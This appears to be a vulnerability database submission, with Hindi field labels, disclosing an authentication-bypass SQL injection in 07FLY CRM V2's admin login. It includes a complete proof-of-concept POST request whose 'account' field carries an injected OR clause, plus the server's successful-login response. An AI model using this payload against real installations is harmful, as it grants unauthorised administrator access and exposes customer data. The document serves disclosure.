| शीर्षक | A SQL Injection vulnerability exists in 07FLY CRM V2 via a POST request to the admin login page |
|---|
| विवरण | A SQL Injection vulnerability exists in 07FLY CRM V2 via a POST request to the login.
Description
07FLY CRM was found vulnerable to authentication bypass via SQL injection when logging into the administrator login page. The attack can be initiated remotely.
07FLY CRM 's official website: https://gitee.com/07fly/FLY-CRM
Proof of Concept
Request：
POST /index.php/sysmanage/Login/login_auth/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Referer: http://www.fly.net/
Content-Length: 79
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/x.x.x.x Safari/537.36
Host: www.fly.net
Connection: Keep-alive
account=-1'%20OR%203*2*1=6%20AND%20000189=000189%20or%20'QMZIxlBw'='&password=1
HTTP/1.1 200 OK
Server: nginx/1.15.11
Date: Sat, 09 Sep 2023 12:14:46 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
X-Powered-By: PHP/5.4.45
Set-Cookie: PHPSESSID=nj2a14ltn5cfgsomfr4iq6ss83; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 126
{"statusCode":"200","message":"\/index.php\/sysmanage\/Index\/","navTabId":"","rel":"1","callbackType":"","forwardUrl":""}
|
|---|
| स्रोत | ⚠️ https://github.com/chosir/exp/tree/main |
|---|
| उपयोगकर्ता | alice2014 (UID 54262) |
|---|
| सबमिशन | 09/09/2023 03:56 PM (3 साल पहले) |
|---|
| संयम | 16/09/2023 09:16 AM (7 days later) |
|---|
| स्थिति | प्रतिलिपि |
|---|
| VulDB प्रविष्टि | 239861 [07FLY CRM V2 Administrator Login Page login_auth account SQL इंजेक्शन] |
|---|
| अंक | 0 |
|---|